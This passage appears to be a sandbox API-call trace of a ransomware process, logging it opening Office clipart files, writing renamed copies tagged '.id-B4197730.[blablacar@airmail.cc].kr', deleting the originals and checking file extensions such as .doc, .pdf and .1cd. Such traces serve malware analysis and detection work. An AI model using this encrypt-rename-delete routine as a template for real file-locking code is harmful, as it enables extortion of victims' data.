Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0107.564] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.564] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0107.565] GetLastError () returned 0x0 [0107.565] ReadFile (in: hFile=0x368, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x1d74, lpOverlapped=0x0) returned 1 [0107.567] WriteFile (in: hFile=0x338, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x1d80, lpOverlapped=0x0) returned 1 [0107.568] ReadFile (in: hFile=0x368, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0107.568] WriteFile (in: hFile=0x338, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xec, lpOverlapped=0x0) returned 1 [0107.568] SetEndOfFile (hFile=0x338) returned 1 [0107.569] CloseHandle (hObject=0x338) returned 1 [0107.570] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.570] SetEndOfFile (hFile=0x368) returned 1 [0107.571] CloseHandle (hObject=0x368) returned 1 [0107.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0107.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0107.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0107.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0107.572] lstrlenW (lpString=".doc") returned 4 [0107.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.572] lstrlenW (lpString=".docx") returned 5 [0107.572] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.572] lstrlenW (lpString=".pdf") returned 4 [0107.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.572] lstrlenW (lpString=".xls") returned 4 [0107.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.572] lstrlenW (lpString=".xlsx") returned 5 [0107.572] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.572] lstrlenW (lpString=".ppt") returned 4 [0107.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0107.572] lstrlenW (lpString=".zip") returned 4 [0107.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.572] lstrlenW (lpString=".rar") returned 4 [0107.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.572] lstrlenW (lpString=".bz2") returned 4 [0107.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.572] lstrlenW (lpString=".7z") returned 3 [0107.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0107.573] lstrlenW (lpString=".dbf") returned 4 [0107.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0107.573] lstrlenW (lpString=".1cd") returned 4 [0107.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0107.573] lstrlenW (lpString=".jpg") returned 4 [0107.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0107.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0107.573] lstrlenW (lpString=".doc") returned 4 [0107.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.573] lstrlenW (lpString=".docx") returned 5 [0107.573] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.573] lstrlenW (lpString=".pdf") returned 4 [0107.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.573] lstrlenW (lpString=".xls") returned 4 [0107.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.573] lstrlenW (lpString=".xlsx") returned 5 [0107.573] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.573] lstrlenW (lpString=".ppt") returned 4 [0107.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0107.574] lstrlenW (lpString=".zip") returned 4 [0107.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.574] lstrlenW (lpString=".rar") returned 4 [0107.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.574] lstrlenW (lpString=".bz2") returned 4 [0107.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.574] lstrlenW (lpString=".7z") returned 3 [0107.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0107.574] lstrlenW (lpString=".dbf") returned 4 [0107.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0107.574] lstrlenW (lpString=".1cd") returned 4 [0107.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0107.574] lstrlenW (lpString=".jpg") returned 4 [0107.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.574] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0107.574] lstrlenW (lpString="AN04108_.WMF") returned 12 [0107.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0107.576] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=2344) returned 1 [0107.576] CloseHandle (hObject=0x368) returned 1 [0107.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 0x220 [0107.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0107.576] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.576] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0107.577] GetLastError () returned 0x0 [0107.577] ReadFile (in: hFile=0x368, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x928, lpOverlapped=0x0) returned 1 [0107.580] WriteFile (in: hFile=0x338, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x930, lpOverlapped=0x0) returned 1 [0107.581] ReadFile (in: hFile=0x368, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0107.581] WriteFile (in: hFile=0x338, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xec, lpOverlapped=0x0) returned 1 [0107.581] SetEndOfFile (hFile=0x338) returned 1 [0107.582] CloseHandle (hObject=0x338) returned 1 [0107.583] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.583] SetEndOfFile (hFile=0x368) returned 1 [0107.584] CloseHandle (hObject=0x368) returned 1 [0107.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0107.584] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0107.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0107.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0107.585] lstrlenW (lpString=".doc") returned 4 [0107.585] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.585] lstrlenW (lpString=".docx") returned 5 [0107.585] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.585] lstrlenW (lpString=".pdf") returned 4 [0107.585] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.585] lstrlenW (lpString=".xls") returned 4 [0107.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.585] lstrlenW (lpString=".xlsx") returned 5 [0107.585] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.585] lstrlenW (lpString=".ppt") returned 4 [0107.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0107.585] lstrlenW (lpString=".zip") returned 4 [0107.585] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.585] lstrlenW (lpString=".rar") returned 4 [0107.585] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.585] lstrlenW (lpString=".bz2") returned 4 [0107.585] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.585] lstrlenW (lpString=".7z") returned 3 [0107.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0107.586] lstrlenW (lpString=".dbf") returned 4 [0107.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0107.586] lstrlenW (lpString=".1cd") returned 4 [0107.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0107.586] lstrlenW (lpString=".jpg") returned 4 [0107.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0107.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0107.586] lstrlenW (lpString=".doc") returned 4 [0107.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.586] lstrlenW (lpString=".docx") returned 5 [0107.586] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.586] lstrlenW (lpString=".pdf") returned 4 [0107.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.586] lstrlenW (lpString=".xls") returned 4 [0107.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.586] lstrlenW (lpString=".xlsx") returned 5 [0107.586] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.586] lstrlenW (lpString=".ppt") returned 4 [0107.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0107.587] lstrlenW (lpString=".zip") returned 4 [0107.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.587] lstrlenW (lpString=".rar") returned 4 [0107.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.587] lstrlenW (lpString=".bz2") returned 4 [0107.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.587] lstrlenW (lpString=".7z") returned 3 [0107.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0107.587] lstrlenW (lpString=".dbf") returned 4 [0107.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0107.587] lstrlenW (lpString=".1cd") returned 4 [0107.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0107.587] lstrlenW (lpString=".jpg") returned 4 [0107.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.587] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0107.588] lstrlenW (lpString="AN04117_.WMF") returned 12 [0107.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0107.588] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=6060) returned 1 [0107.588] CloseHandle (hObject=0x368) returned 1 [0107.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 0x220 [0107.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0107.589] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.589] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0107.589] GetLastError () returned 0x0 [0107.589] ReadFile (in: hFile=0x368, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x17ac, lpOverlapped=0x0) returned 1 [0107.592] WriteFile (in: hFile=0x338, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x17b0, lpOverlapped=0x0) returned 1 [0107.593] ReadFile (in: hFile=0x368, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0107.593] WriteFile (in: hFile=0x338, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xec, lpOverlapped=0x0) returned 1 [0107.593] SetEndOfFile (hFile=0x338) returned 1 [0107.593] CloseHandle (hObject=0x338) returned 1 [0107.595] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.595] SetEndOfFile (hFile=0x368) returned 1 [0107.596] CloseHandle (hObject=0x368) returned 1 [0107.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0107.596] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0107.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0107.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0107.597] lstrlenW (lpString=".doc") returned 4 [0107.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.597] lstrlenW (lpString=".docx") returned 5 [0107.597] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.597] lstrlenW (lpString=".pdf") returned 4 [0107.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.597] lstrlenW (lpString=".xls") returned 4 [0107.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.597] lstrlenW (lpString=".xlsx") returned 5 [0107.597] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.597] lstrlenW (lpString=".ppt") returned 4 [0107.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0107.597] lstrlenW (lpString=".zip") returned 4 [0107.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.597] lstrlenW (lpString=".rar") returned 4 [0107.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.598] lstrlenW (lpString=".bz2") returned 4 [0107.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.598] lstrlenW (lpString=".7z") returned 3 [0107.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0107.598] lstrlenW (lpString=".dbf") returned 4 [0107.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0107.598] lstrlenW (lpString=".1cd") returned 4 [0107.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0107.598] lstrlenW (lpString=".jpg") returned 4 [0107.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0107.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0107.598] lstrlenW (lpString=".doc") returned 4 [0107.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.598] lstrlenW (lpString=".docx") returned 5 [0107.598] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.598] lstrlenW (lpString=".pdf") returned 4 [0107.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.598] lstrlenW (lpString=".xls") returned 4 [0107.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.599] lstrlenW (lpString=".xlsx") returned 5 [0107.599] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.599] lstrlenW (lpString=".ppt") returned 4 [0107.599] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0107.599] lstrlenW (lpString=".zip") returned 4 [0107.599] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.599] lstrlenW (lpString=".rar") returned 4 [0107.599] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.599] lstrlenW (lpString=".bz2") returned 4 [0107.599] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.599] lstrlenW (lpString=".7z") returned 3 [0107.599] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0107.599] lstrlenW (lpString=".dbf") returned 4 [0107.599] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0107.599] lstrlenW (lpString=".1cd") returned 4 [0107.599] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0107.599] lstrlenW (lpString=".jpg") returned 4 [0107.599] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.600] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0107.600] lstrlenW (lpString="AN04134_.WMF") returned 12 [0107.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0107.600] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=3416) returned 1 [0107.600] CloseHandle (hObject=0x368) returned 1 [0107.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 0x220 [0107.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0107.601] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.601] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 